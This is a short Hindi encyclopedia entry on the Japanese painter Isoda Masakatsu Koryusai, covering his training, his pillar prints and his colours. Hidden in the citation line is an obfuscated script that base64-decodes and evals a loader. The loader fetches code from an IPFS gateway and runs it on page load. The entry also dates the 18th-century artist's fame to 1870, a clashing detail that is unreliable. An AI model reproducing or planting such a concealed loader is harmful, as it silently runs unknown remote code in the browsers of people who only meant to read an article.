ईसोदा मासाकात्सू कोर्युसाई

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ईसोदा मासाकात्सू कोर्युसाई (लोकप्रिय नाम शोबे) (18वीं सदी ई.)। जापान का एक चित्रकार। टोकियो के शिगेनागा का शिष्य। 1870 ई. में उसकी कला को ख्याति मिली और उन्होंने ब्लाक मुद्रण छोड़ तूलिका की साधना विशेष लगन से शुरू की। उसकी प्रसिद्धि के मुख्य आधार उसके स्तंभचित्रण, कागज के मुड़ जाने वाले करविज़नों की डिज़ाइन तथा अलंकरण प्लेटें हैं। सौंदर्यसाधक होने के कारण वह स्वयं अलंकृत और कीमती वेशभूषा का व्यवहार करते थे। उसके रंगों में प्रधान गहरे गुलाबी, बैंगनी, गहरे नीले, नारंगी पीले और भूरे थे।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 3 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 172 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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